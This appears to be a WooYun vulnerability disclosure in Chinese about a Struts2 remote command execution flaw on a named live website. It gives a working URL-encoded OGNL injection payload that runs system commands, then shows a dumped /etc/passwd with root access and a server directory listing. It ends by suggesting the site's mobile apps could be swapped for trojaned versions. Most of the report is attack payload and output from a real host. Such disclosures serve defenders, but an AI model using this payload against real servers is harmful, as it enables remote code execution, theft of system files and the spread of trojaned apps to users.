WooYun.org

问题出在这里。
http://www.lkwan.com/phone/about/disclaimer.action
用了struts2 框架
而这个框架存在严重的安全问题，可直接命令执行
poc:

class.classLoader.jarPath=%28%23context["xwork.MethodAccessor.denyMethodExecution"]%3d+new+java.lang.Boolean%28false%29%2c+%23_memberAccess["allowStaticMethodAccess"]%3dtrue%2c+%23a%3d%40java.lang.Runtime%40getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%2c%23b%3dnew+java.io.InputStreamReader%28%23a%29%2c%23c%3dnew+java.io.BufferedReader%28%23b%29%2c%23d%3dnew+char[50000]%2c%23c.read%28%23d%29%2c%23k8team%3d%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2c%23k8team.println%28%23d%29%2c%23k8team.close%28%29%29%28meh%29&z[%28class.classLoader.jarPath%29%28%27meh%27%29]

效果如图：

执行cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
usbmuxd:x:113:113:usbmuxd user:/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rtkit:x:499:497:RealtimeKit:/proc:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
hsqldb:x:96:96::/var/lib/hsqldb:/sbin/nologin
saslauth:x:498:496:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
radvd:x:75:75:radvd user:/:/sbin/nologin
avahi:x:70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologin
pulse:x:497:495:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
gdm:x:42:42::/var/lib/gdm:/sbin/nologin
qemu:x:107:107:qemu user:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
bp:x:500:501:bp:/home/bp:/bin/bash
test:x:501:502::/home/test:/bin/bash
nginx:x:502:503::/home/nginx:/sbin/nologin
system:x:0:0::/tmpo:/bin/bash
root权限 做的事情很多
total 212
-rw-r--r--. 1 root root 1002 Jul 5 21:14 bf
drwx------. 2 root root 4096 Mar 9 2012 bin
-rw-r--r--. 1 root root 57841 Jul 2 15:10 cc.txt
drwx------. 3 root root 4096 Mar 17 13:12 conf
drwx------. 2 root root 4096 Feb 1 2012 lib
-rwxr-xr-x. 1 root root 56797 Feb 1 2012 LICENSE
drwxr-xr-x. 2 root root 36864 Jul 15 06:27 logs
-rwxr-xr-x. 1 root root 1192 Feb 1 2012 NOTICE
-rwxr-xr-x. 1 root root 8824 Feb 1 2012 RELEASE-NOTES
-rwxr-xr-x. 1 root root 10597 Feb 1 2012 RUNNING.txt
drwxrwxr-x. 2 root root 4096 Sep 18 2012 shared
drwx------. 3 root root 4096 Jul 10 17:59 temp
drwx------. 7 root root 4096 Feb 1 2012 webapps
drwx------. 3 root root 4096 Feb 6 2012 work
可以直接替换IOS 和android app 应用，不是最近出了个android 免签名验证的漏洞，直接替换成加了木马的 应用 ，肯定会造成非常大的危害